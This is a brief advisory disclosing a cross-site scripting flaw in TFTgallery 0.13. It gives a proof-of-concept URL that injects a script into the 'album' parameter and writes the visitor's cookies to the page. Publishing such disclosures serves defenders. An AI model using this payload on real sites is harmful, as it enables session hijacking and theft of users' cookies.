TFTgallery version 0.13 is susceptible to a cross site scripting vulnerability.
63c864ab65c6626cd22619a37272b2397a4e4a8dfda92c12502c770de28ed5ca
TFTgallery 0.13 is vulnerable to XSS
Discovered by Blake
http://example.com/tftgallery/index.php?page=1&album=
<script>document.write(document.cookie)</script>